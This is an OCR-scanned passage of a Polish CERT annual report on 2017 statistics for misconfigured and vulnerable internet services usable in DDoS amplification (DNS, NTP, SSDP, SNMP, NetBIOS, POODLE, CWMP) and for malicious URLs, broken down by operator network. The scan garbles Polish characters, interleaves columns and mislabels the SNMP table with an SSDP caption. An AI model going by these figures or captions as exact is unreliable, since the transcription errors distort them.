Tabela 12. Niepoprawnie skonfigurowane ustugi, ktére moga by¢ wykorzystane do odbitych atakéw DDoS.
Odchylenie standardowe dotyczy zmiennosci w dziennej liczbie adreséw IP obserwowanych na przestrzeni roku,
ataczny czas obserwacji odpowiada liczbie dni w ciggu roku dla ktérych mieliémy informacje o danej ustudze.
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W ciagu roku zaobserwowalismy znaczace zmiany

w liczbie obserwowanych urzadzen, ktére moga
zostac¢ uzyte do przeprowadzania ataku wzmocnio-
nego DoS/DDoS. Na rysunku 30 przedstawilismy
liczbe urzadzen, w rozbiciu na ustugi dostepne

z internetu, ktére moga by¢ wykorzystane do tego
rodzaju atakéw. Wykresy obrazujg zmiany w dziennej
liczbe unikalnych adreséw IP zarejestrowanych przez
system né dla najczesciej zgtaszanych ustug.

W drugim i trzecim kwartale nagte spadki rekursyw-
nych serweréw DNS mogg swiadczy¢ o zmianach

w konfiguracji urzadzen klienckich przez operato-
réw. Dominujgcym trendem jest w tym przypadku
przede wszystkim system autonomiczny Orange.
Pierwszy spadek ustugi czasu rzeczywistego (NTP)
wynika ze zmian w konfiguracji w sieci T-Mobile,
natomiast kolejny w sieci Orange. Stopniowy spadek
wystepowania ustugi SSDP w ciggu catego roku
zaobserwowalismy w sieciach Orange, Netia oraz
Ziggo. W potowie roku nagty spadek ustugi SNMP
rejestrowalismy w sieci Netia, natomiast duza zmiana
w czwartym kwartale wynika ze wzrostu tej ustugi
w sieci TK Telecom. Za sprawga zmian w konfiguracji
urzadzen w sieci Orange zaobserwowalismy nagty
wzrost otwartej ustugi NetBIOS. Niepokojace jest
to, ze obserwowalismy tak duza liczbe unikalnych
adresow IP z tg ustuga, zwtaszcza w kontekscie
podatnosci, ktérg wykorzystuje grozny robak
Wannacry.

Otwarte serwery DNS

DNS to kluczowy protokét internetu wykorzysty-
wany do rozwigzywania nazw domen na adresy
serwerdw. Niepoprawnie skonfigurowane serwery,
odpowiadajgce na zapytania z catej sieci internet

a nie tylko od ograniczonej grupy uzytkownikow -
tzw. ,open resolvers”, s3 czesto wykorzystywane przy
atakach DDoS.
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Rysunek 30. Najpowszechniejsze Zle skonfigurowane
ustugi mogace bra¢ udziat w atakach DDoS

W ciggu roku otrzymalismy tgcznie 22 645 719 zgto-
szen 0 1 015 025 unikalnych adresach IP, na ktérych
zostata wykryta tego rodzaju ustuga. Srednia dzienna
to ponad 62 tys. unikalnych adreséw IP. Podobnie
jak w zesztym roku, w tym zestawieniu dominowat
system autonomiczny 5617. Tylko w sieciach Orange
zarejestrowali$my $rednio 50 tys. unikalnych adre-
sow IP. Ten polski system autonomiczny znajduje sie
w pierwszej dziesigtce sposrod wszystkich systeméw
w catym Internecie.
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Poz. ASN Nazwa Srednia Y ESI % adreséw
1 5617 Orange 52 551 58 070 0,95%
2 9143 Ziggo 4 690 4 861 0,13%
3 12741 Netia 1566 2190 0,10%
4 200966 Polok Welding 1104 2889 30,80%
5 29314 Vectra 778 985 0,15%
6 5588 T-Mobile 631 758 0,05%
7 6830 UPC 631 1013 0,01%
8 21021 Multimedia 488 565 0,08%
9 24577 Onefone 413 484 13,44%
10 20960 TK Telekom 395 529 0,16%

Tabela 13. Liczba adreséw IP, na ktorych wykryto otwarty serwer DNS w podziale na systemy autonomiczne

NTP moga by¢ uzyte przez atakujacych do atakéw
DDoS.

Network Time Protocol (NTP) to standardowy

protokdt synchronizacji czasu wykorzystywany Otrzymalismy tacznie 10 111 398 zgtoszen o 441

m.in. przez wiekszo$¢ powszechnie uzywanych 367 unikalnych adresach IP, na ktérych wykryto

systemow operacyjnych. Publicznie dostepne serwery NTP z taka konfiguracji. Srednia dzienna

serwery NTP, ktére udostepniajg polecenie monlist  to 32 099 unikalnych adreséw IP.

Poz. ASN Nazwa Srednia WEISIMI % adresow
1 5617 Orange 8762 10010 0,16%
2 12741 Netia 3483 3915 0,21%
3 5588 T-Mobile 2861 3670 0,21%
4 13110 INEA 1338 2114 0,80%
5 31242 3S 860 996 0,84%
6 8374 Polkomtel 635 736 0,05%
7 20960 TK Telekom 601 678 0,24%
8 15997 Intelligent Technologies 595 920 1,82%
9 9143 Ziggo 456 490 0,01%

10 8798 Powszechna Agencja Informacyjna 427 471 5,38%

Tabela 14. Liczba adresow IP, na ktérych wykryto niepoprawnie skonfigurowane serwery NTP w podziale na
systemy autonomiczne
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Simple Service Discovery Protocol to protokét
stuzacy do wykrywania urzadzen, bedacy czescia
standardu Universal Plug and Play (UPnP). SSDP
w zamierzeniu jest wykorzystywany w niewielkich
sieciach lokalnych i nie powinien by¢ dostepny

z internetu.

Otrzymalismy 7 979 231 zgtoszen 0 1 076 156
unikalnych adresach IP, gdzie udostepniona byta
ustuga SSDP. Srednia dzienna: 25 250 unikalnych
adresow IP. Dla systemu autonomicznego Orange
W ciggu dnia obserwowali$my Srednio prawie 7 tys.
adresow IP, co stanowi spadek o 40 proc. w poréw-
naniu z zesztym rokiem.

Poz. ASN Nazwa Srednia Maksimum % adresow
1 5617 Orange 6768 8 850 0,12%
2 12741 Netia 2140 2757 0,13%
3 29314 Vectra 2101 2814 0,40%
4 41256 Servcom 1677 1909 4,43%
5 9143 Ziggo 883 1114 0,02%
6 21021 Multimedia 687 815 0,11%
7 8374 Polkomtel 558 3137 0,04%
8 50231 Syrion 448 560 7,00%
9 43939 Internetia 435 560 0,16%
10 197697 Derkom 362 413 5,89%

Tabela 15. Liczba adresow IP, na ktérych wykryto ustuge SSDP dostepng na zewnetrznym interfejsie

w podziale na systemy autonomiczne

SNMP

Simple Network Management Protocol to protokét
do zdalnego zarzadzania urzadzeniami sieciowymi.
Zazwyczaj zalecane jest uzywanie go wytgcznie

w wydzielonych sieciach zarzadzajacych, a w szcze-
golnosci nie na publicznie dostepnych adresach.
Poza zagrozeniem nieuprawnionego dostepu do
urzadzenia, ustuga SNMP, do ktérej mozna potaczyé
sie z internetu, moze by¢ wykorzystana do atakéw
DDoS.

Otrzymalismy 7 830 245 zgtoszen o 1 067 888
unikalnych adresach IP, na ktérych udostepniono te
ustuge. Srednia dzienna to 24 701 unikalnych adre-
séw IP. Dla systemu autonomicznego 12741 (Netia)
na poczatku lipca zaobserwowalismy gwattowny
spadek (ponad 30 proc.) urzadzen z wystawionymi
ustugami SNMP. W drugim potroczu utrzymywat sie
trend rosnacy. Na koniec roku ilo$¢ unikalnych adre-
sOw byta na poziomie ponad 6 tys. Powyzsze zmiany
moga sugerowac zmiany konfiguracji urzadzen
klienckich w sieciach Netii.

Informacje o zagrozeniach pochodzg z wielu zrédet, m.in. z naszej dziatalnosci
operacyjnej, automatycznych systeméw monitorujgcych zagrozenia, ale przede
wszystkim od podmiotéw zewnetrznych, wéréd ktdrych znajdujg sie organizacje
non-profit, CERT-y narodowe, niezalezni badacze i firmy komercyjne.
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Poz. ASN Nazwa Srednia WYEIEMITN % adresow
1 5617 Orange 6 450 10 867 0,12%
2 12741 Netia 6371 8 602 0,39%
3 8798 Powszechna Agencja Informacyjna 1002 1146 12,63%
4 20960 TK Telekom 983 4512 0,40%
5 5588 T-Mobile 531 687 0,04%
6 20804 Exatel 493 706 0,20%
7 9143 Ziggo 417 507 0,01%
8 197201 SM L-W Stowianin 368 560 8,98%
9 8374 Polkomtel 293 373 0,02%

10 12912 T-Mobile 256 370 0,04%

Tabela 16. Liczba adresow IP, na ktérych wykryto ustuge SSDP dostepna na zewnetrznym interfejsie
w podziale na systemy autonomiczne

Portmapper mapper stanowi zagrozenia ze wzgledu na mozliwos¢
jego wykorzystania w atakach DDoS.

Portmapper to niskopoziomowa ustuga typowa

dla unixowych systeméw operacyjnych. Korzystaja Srednio dziennie obserwujemy az 31 663 adreséw IP,

z niej protokoty wyzszych warstw, w tym m.in. NFS na ktérych jest uruchomiona ta ustuga.

(sieciowy system plikow). Publicznie dostepny port-

Poz. ASN Nazwa Srednia Maksimum % adreséw
1 5617 Orange 2011 2417 0,04%
2 16276 OVH 1999 3047 0,09%
3 198414 H88 1520 1871 10,80%
4 29522 KEI 1441 1692 2,11%
5 41079 H88 1173 1420 22,91%
6 12741 Netia 1117 1290 0,07%
7 57367 ATM 1023 1696 7,01%
8 29314 Vectra 741 809 0,14%
9 197226 Sprint 711 917 4.87%

10 205727 Aruba 561 617 13,70%

Tabela 17. Liczba adresow IP, na ktérych wykryto ustuge port mapper dostepna na publicznym interfejsie
w podziale na systemy autonomiczne
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NetBIOS

NetBIOS to niskopoziomowy protokét wykorzystywany
przede wszystkim przez systemy Microsoft. Powinien
by¢ wykorzystywany wytacznie w sieciach lokalnych,

a jesli jest dostepny z sieci publicznej, stanowi zagroze-
nie - nie tylko w zwigzku z mozliwoscig wykorzystania
w atakach DDoS. Luki w jego implementacji postuzyty
do rozprzestrzeniania sie groznego robaka Wannacry,
ktéremu poswieciliémy osobny rozdziat w raporcie.

Otrzymalismy tacznie 7 670 441 zgtoszen o 262 068
adresach IP, a $rednia dzienna to 23 747 adreséw.

W drugiej potowie sierpnia 2017 r. w sieci Orange
zaobserwowali$my gwattowny wzrost - z 12 tys.

do 30 tys. adreséw IP. Pod koniec roku wartosci te
spadty do pierwotnego poziomu. Powyzsze zmiany
moga sugerowac wprowadzong na duzg skale zmiane
konfiguracji urzadzen klienckich w sieciach Orange.

Poz. ASN Nazwa Srednia Maksimum % adresow
1 5617 Orange 12 886 30198 0,23%
2 49185 Protonet 1732 2116 7,05%
3 12741 Netia 1581 1882 0,10%
4 198414 H88 1178 1725 8,37%
5 9143 Ziggo 1037 1123 0,03%
6 8374 Polkomtel 225 417 0,02%
7 8267 Cyfronet AGH 215 295 0,28%
8 12824 home.pl 196 225 0,10%
9 16276 OVH 179 230 0,01%
10 8970 WCSS 176 385 0,27%

Tabela 18. Liczba adresow IP, na ktérych wykryto ustuge NetBIOS dostepng na publicznym interfejsie

w podziale na systemy autonomiczne

Podatne Ustugi

W roku 2017 otrzymalismy zgtoszenia dotyczace
2,9 miliona unikalnych adreséw IP, ktére s3 nara-
zone na ataki oraz wyciek informacji. Na kolejnych
stronach przedstawiamy szczegétowe informacje dla
najistotniejszych zagrozen tego rodzaju. Przedsta-
wione statystyki zostaty obliczone analogiczne jak
w poprzedzajgcym podrozdziale.

Wysoko w rankingu najczesciej wystepujacych
podatnych ustug znajduja sie TFTP, Telnet i RDP.
Najczesciej spotykang praktyka jest zabezpieczenie

tego rodzaju ustug poprzez ograniczanie dostepu

z zewnetrznych adreséw, dlatego fakt wystgpienia
publicznie dostepnej ustugi moze wskazywac na
btad konfiguracji i potencjalng podatnos$¢. Natomiast
opierajac sie na samym fakcie zgtoszenia dostepno-
$ci, nie ma pewnosci, czy faktycznie dana ustuga jest
podatna. Na przyktad RDP moze posiada¢ ustawione
silne hasto, co moze stanowi¢ wystarczajace zabez-
pieczenie przed nieuprawnionym dostepem, o ile nie
zostanie odkryta nowa podatnos¢ w aplikacji pozwa-
lajaca na obejécie uwierzytelnienia.
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O ile podobne podejscie mozna by zastosowaé do W zestawieniu pominelismy ustugi, o ktérych

baz danych lub podobnych aplikacji (MongoDB, mieli$my niewiele zgtoszen lub co do ktérych nie
Elasticsearch, Redis, DB2), w ich przypadku dostep bylismy w stanie okresli¢ liczby podatnych serweréw
publiczny jest niemal na pewno wynikiem btednej Z wystarczajgca pewnoscia.

konfiguracji i nalezy taka sytuacje traktowac jako

podatnos¢.

Ustuga S'orfadnia Maksi.mum Odchylenie taczny czas

Dzienna Dzienne standardowe obserwacji
SSL (POODLE) 286 133 365 227 88 590 79%
TFTP 55 699 62 944 6195 85%
Telnet 44 075 53372 9473 82%
RDP 43 204 50 275 6577 88%
CWMP 36 553 81931 25504 88%
NAT-PMP 15 243 15 965 888 87%
ISAKMP 11 919 13 389 938 87%
VNC 11181 12 813 1558 61%
SMB 10 294 11 890 1048 58%
FREAK 3634 4 468 633 88%
IPMI 1675 2216 190 89%
LDAP 869 1152 174 88%
Memcached 718 1365 232 88%
MongoDB 310 367 38 88%
Elasticsearch 56 102 19 89%
Redis 44 89 15 86%
DB2 19 26 2 89%

Tabela 19. Podatne ustugi. Odchylenie standardowe dotyczy zmiennosci w dzienne;j liczbie adreséw IP obser-
wowanych na przestrzeni roku, a taczny czas obserwacji odpowiada liczbie dni w ciggu roku dla ktérych
mieliSmy informacje o danej ustudze.
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POODLE

Znane podatnosci protokotu SSL / TLS sa nadal
powszechnym zjawiskiem wséréd uzytkownikéw
polskiego internetu. Zdecydowanie najczesciej
wystepujaca jest POODLE, ktéra umozliwia przepro-
wadzenie ataku doprowadzajacego do ujawnienia
zaszyfrowanych informacji. Otrzymalismy 82 701
441 zgtoszen o 11 331 493 unikalnych adresach IP,
Srednia dzienna wynosita 287 157 adreséw.

Operator, ktérego dotyczy najwiecej zgtoszen to
Netia, gdzie znajduje sie wiekszos¢ podatnych urza-
dzen w polskich sieciach. W ciggu roku wartosci
utrzymywaty sie na niemal niezmiennym poziomie.

W poréwnaniu z 2016 jest to spadek o ponad 40 tys.
adreséw.

Biorac pod uwage rozmiar systemu autonomicz-
nego, zaskakujgco wiele adreséw w sieciach Petrotel
(AS29007) i Biznes-Host.pl (AS198414) posiada
podatnos$¢ na atak POODLE, co zaobserwowali$my
réwniez w ubiegtym roku.

Mimo powszechnego wystepowania, POODLE nie
jest podatnoscia najwyzszego ryzyka, poniewaz nie
umozliwia ona wykradzenia kluczy kryptograficznych,
ani bezposrednio przejecia kontroli nad serwerem
oraz wymaga aktywnego przechwycenia sesji TCP
(atak typu man-in-the-middle).

Poz. ASN Nazwa Srednia Maksimum % adresow
1 12741 Netia 203776 261 095 12,38%
2 43939 Internetia 27 871 34 854 10,54%
3 5617 Orange 11 887 16 145 0,22%
4 29007 Petrotel 3138 3918 19,15%
5 198414 Biznes-Host.pl 1694 2483 12,03%
6 6830 UPC 1475 1989 0,01%
7 5588 T-Mobile 1408 1972 0,10%
8 15694 ATM 912 1208 1,14%
9 21021 Multimedia 908 1207 0,15%
10 16276 OVH 874 1520 0,04%

Tabela 20. Liczba adresow IP, na ktérych wykryto ustuge SSL z podatnosciag POODLE w podziale na systemy

autonomiczne

CWMP

CWMP to ustuga oparta na specyfikacji TR-069 imple-
mentowana najczesciej w domowych routerach DSL.
Umozliwia zdalne zarzadzanie urzadzeniem przez
operatoréw, np. aktualizacje firmware. Niepoprawna
implementacja tej ustugi pozwala na przejecie catkowitej
kontroli nad urzadzeniem przez atakujacego. Podatnos¢
te wykorzystuje m.in. Mirai infekujac kolejne urzadzenia.

Otrzymalismy 11 771 681 zgtoszen o 2 032 034
unikalnych adresach IP, srednia dzienna wynosita 36
554 adreséw. Pod koniec kwietnia w sieci Orange
(AS5617) zaobserwowalismy duzy spadek, z 65 tys. do
15 tys. adreséw. W listopadzie liczba infekcji powrdcita
do wartosci 80 tys. dziennie. Gwattowne zmiany suge-
rujg skorygowanie podatnej konfiguracji urzadzen.
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Poz. ASN Nazwa Srednia Maksimum % adresow
1 5617 Orange 20 325 57751 0,37%
2 12741 Netia 7751 15 049 0,47%
3 12912 T-Mobile 3106 4034 0,46%
4 21021 Multimedia 1275 1635 0,21%
5 49185 Protonet 1195 1645 4,86%
6 5588 T-Mobile 583 893 0,04%
7 50606 Virtuaoperator 320 376 2,45%
8 24709 Hyperion 318 567 0,96%
9 43153 Sferanet 276 297 10,78%
10 38987 OST 260 454 2,31%

Tabela 21. Liczba adresow IP, na ktérych wykryto ustuge CWMP dostepng na publicznym interfejsie
w podziale na systemy autonomiczne

NAT-PMP nym interfejsie sieciowym. Mimo tego, wiele urzadzen
przyjmuje zadania NAT-PMP z dowolnego interfejsu.
NAT Port Mapping Protocol (NAT-PMP) to prosta

ustuga implementowana czesto na routerach domo- Otrzymalismy tacznie 4 847 297 zgtoszen o 134
wych, ktéra pozwala na automatyczne otwieranie 350 unikalnych adresach IP, na ktérych wykryto te
portéw na publicznych interfejsach sieciowych. ustuge. Srednia wynosi 15 243 adreséw dziennie.
Poniewaz protokot nie uwzglednia uwierzytelnienia Dominujace w tym zestawieniu sa sieci Netii, Orange
i pozwala na uzyskanie dostepu do sieci wewnetrzne;j, oraz Telico. Dla dwdch pierwszych zarejestrowalismy
specyfikacja zabrania wystawiania ustugi na publicz- niewielki trend spadkowy

Poz. ASN Nazwa Srednia Maksimum % adreséw
1 12741 Netia 1033 1128 0,06%
2 5617 Orange 1008 1131 0,02%
3 60317 Telico 1001 1303 16,29%
4 48559 Infomex 773 803 30,20%
5 20960 TK Telekom 747 806 0,30%
6 31242 3S 738 807 0,72%
7 50467 Beskid Media 648 1315 7.23%
8 197300 FHUP Turbo 563 636 36,65%
9 50188 Kolnet 470 522 4,59%

10 21021 Multimedia 434 493 0,07%

Tabela 22. Liczba adresow IP, na ktérych wykryto ustuge NAT-PMP dostepng na publicznym interfejsie
w podziale na systemy autonomiczne
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Ztosliwe Strony

W ubiegtym roku zebraliémy informacje o 5 078 305
unikalnych adresach URL zwigzanych z dziatalnoscia
szkodliwego oprogramowania, z czego 671 988 adre-
sow byto w domenie .pl. Sposrdd ztosliwych URL,

44 735 adreséw URL rozwigzywato sie na polskie
adresy IP. Najpopularniejsze systemy autonomiczne,
w ktérych znajdowaty sie te adresy IP przedstawiono
w tabeli 24.

Najpopularniejszymi domenami ze ztosliwag zawar-
toscig w TLD .pl drugiego poziomu byty chomikuj.

pl (604 518 wystapien), home.pl (10 012), i com.pl (4
347). Wysoki wynik serwisu chomikuj wynika z faktu
udostepniania na nim oprogramowania wykrywanego
jako ztosliwe przez dostawcoéw rozwigzan antywiruso-
wych, co w praktyce dotyczy czesto réwniez narzedzi
stuzacego do nielegalnej aktywacji systemu Windows

oraz innego komercyjnego oprogramowania.

Liczba domen .pl Adres IP ASN Nazwa
444 95.211.144.65 60781 LeaseWeb
263 217.74.66.167 16138 Interia
187 95.211.80.4 60781 LeaseWeb
170 213.180.150.17 12990 Onet.pl
138 217.97.216.17 5617 Orange
121 193.203.99.114 47303 Redefine

89 193.203.99.115 47303 Redefine
79 193.203.99.112 47303 Redefine
54 37.59.49.187 16276 OVH
41 87.98.239.19 16276 OVH

Tabela 23. Adresy IP, na ktérych byto utrzymywane najwiecej domen .pl zwigzanych ze ztosliwym

oprogramowa niem

Liczba IP ASN Nazwa Procent sieci Udziat
918 12824 home.pl 0,45% 0,42%
625 15967 Nazwa.pl 0,64% 0,29%

90 43333 NEPHAX 0,51% 0,04%
84 198414 H88 0,60% 0,04%
84 29522 KEI 0,12% 0,04%
78 16276 OVH 0,00% 0,04%
75 15694 ATM 0,09% 0,03%
71 197226 SPRINT 0,49% 0,03%
51 41079 H88 1,00% 0,02%
49 8308 NASK 0,02% 0,02%

Tabela 24. Systemy autonomiczne, gdzie byto utrzymywanych najwiecej ztosliwych stron
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